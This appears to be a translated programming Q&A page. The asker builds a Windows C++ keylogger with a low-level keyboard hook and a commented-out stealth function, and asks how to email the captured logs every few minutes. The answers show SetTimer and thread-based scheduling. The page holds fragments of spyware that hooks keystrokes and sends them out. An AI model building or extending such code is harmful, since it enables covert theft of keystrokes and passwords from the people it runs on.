win32主循环间隔问题c++
win32 main loop interval issue C++
我正在制作一个记录按键的键盘记录器(呸…)。现在,当我在c++中实现了基本的键盘记录程序后,我想为这个应用程序添加一个新特性:我想让它将日志发送到我的电子邮件中。到目前为止一切顺利,我发现这个开源电子邮件客户端非常适合我的需要。我遇到的唯一问题是让应用程序每隔x分钟发送一次日志。
int main(int argc, char *argv[])
{
//stealth();
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
if(hHook == NULL)
{
cout << "Hook failed" << endl;
}
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
return 0;
}
我需要实现某种计数器,它将在某些时候使用函数send();。有人知道如何修改MSG循环来执行函数send();每隔5分钟?
看看SetTimer函数,我认为它正是你所需要的。
在事件循环之前,你应该用期望的间隔调用这个函数,你必须传递给它一个回调函数。或者你可以使用另一个函数CreateTimerQueueTimer
VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) {
}
UINT timer = SetTimer(NULL, 0, 500, &TimerProc);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
KillTimer(NULL, timerId);
创建一个新线程休眠x毫秒,然后发送一个while(!interrupted)循环。您可能知道,同时从两个不同的线程访问相同的数据进行读写将导致错误。http://msdn.microsoft.com/en-us/library/kdzttdcb (v = vs.80) . aspx
为了避免这种情况,可以使用临界区http://msdn.microsoft.com/en-us/library/windows/desktop/ms686908 (v = vs.85) . aspx
或者只是让你的线程睡觉,把一个布尔值变成真,意思是"是的,我们等得够了",你的主函数总是在布尔值为真时发送数据,然后把它设回假。
编辑:我相信这是存档这个
的更简单的方法。while(!interrupted) { // Your thread will do this.
sleep(60000);
maysend = true;
}
[...]
if(maysend) { // Your main function will contain this
send();
maysend = false;
}
相关文章:
- 警告处理为错误这里有什么问题
- 最小硬币更换问题(自上而下方法)
- 为"adjacent"变量赋值时出现问题
- 我的神经网络不起作用 [XOR 问题]
- 在Ubuntu 16.04上安装Cilk时出现问题
- C++我的数学有什么问题,为什么我的代码不能正确循环
- 编译包含字符串的代码时遇到问题
- Project Euler问题4的错误解决方案
- 问题:什么是QAbstractItemView::NoEditTriggers的反面
- 在编译C++代码(具有dlib和opencv)到WASM时面临问题
- 在进程中对同一管道进行读取和写入时C++管道出现问题
- 静态数据成员的问题-修复链接错误会导致编译器错误
- C++ 雷神库 - 使用资源加载器类时出现问题(不命名类型)
- 一个关于在C++中重载布尔运算符的问题
- 首要问题的答案让值班员搞错了
- setlocale的C++土耳其字符串问题
- 如何重构类层次结构以避免菱形问题
- 基于boost的程序的静态链接——zlib问题
- C++格式化输出问题
- 使用mongocxx驱动程序时包含头文件问题